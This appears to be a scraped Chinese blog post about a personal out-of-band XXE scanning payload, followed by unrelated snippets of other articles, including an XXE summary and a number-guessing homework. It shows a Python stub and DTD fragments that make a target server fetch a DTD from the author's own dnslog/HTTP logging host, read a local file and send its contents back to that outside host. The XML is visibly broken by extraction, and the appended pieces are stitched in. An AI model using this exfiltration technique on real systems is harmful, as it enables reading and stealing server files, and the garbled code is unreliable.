個人XXE新掃瞄payload

2022-08-27 02:39:13 字數 1350 閱讀 7801

0x01 舊的 xxe poc

<?xml version="1.0" encoding="utf-8"?>

%remote;

]>

該poc只能證明伺服器請求過第三方dtd,但無法驗證是否執行、是否讀取了檔案是否發出來資訊

每次驗證的時候,都需要在公網主機上建乙個 xx.xml放置dtd,dtd再讀檔案指向dns或ftp,頗為麻煩

0x02 新的 xxe poc+exp

想起來我還有個自己搭建的dnslog + http log 平台

import requests

def exp_xxe_vul(domain):

my_xml = "http://網域名稱手動打碼.info/%s/3mognym4" % domain.replace(".", "-")

dtd由dnslog平台的http response功能提供

在獲取dtd的時候,會附帶上 domain.replace(".", "-")也就是網域名稱的資訊。

dtd

">

%int;

%send;

獲取dtd之後,讀取檔案,將主機名用http的方式再傳送到該頁面來 (a頁面 -> dtd -> a頁面)

這裡為什麼不用dns的方式,因為檔案中的換行符空格等可能阻斷dns資訊的傳輸

0x03 效果

下面的先出現的記錄獲取了網域名稱資訊

上面的後出現的記錄獲取了檔案資訊

妙極,網域名稱和exp拿到的主機名對得上了

10 XXE漏洞個人筆記總結

xml外部實體注入,當允許引用外部實體時,通過構造惡意內容,導致命令執行。由於程式在解析輸入的xml資料時,解析了攻擊者偽造的外部實體而產生的。xml文件結構包括xml宣告 dtd文件型別定義 可選 文件元素 xxe name php裡解析xml用的是libxml,在大於2.9.0的版本中就禁止解析...

個人專案 新猜數字

個人專案 新猜數字 專案 內容 所屬課程 18級安卓方向軟體工程 作業簡介 開發新猜數字小遊戲,使用git進行原始碼管理,使用單元測試工具junit對各個方法進行單元測試 作業要求 個人專案 零 猜數字 作業目的 熟悉git 碼雲 junit基本使用方法,單元測試設計以及回顧j a的基本語法 學生姓...

個人專案(一) 新猜數字

專案 內容所屬課程 18web方向軟體工程 作業簡介 開發新猜數字小遊戲,使用git進行原始碼管理,使用單元測試工具junit對各個方法進行單元測試 作業要求 個人專案 一 新猜數字 作業目的 熟悉git 碼雲 junit基本使用方法,單元測試設計以及回顧j a的基本語法 參考資料 新猜數字遊戲 單...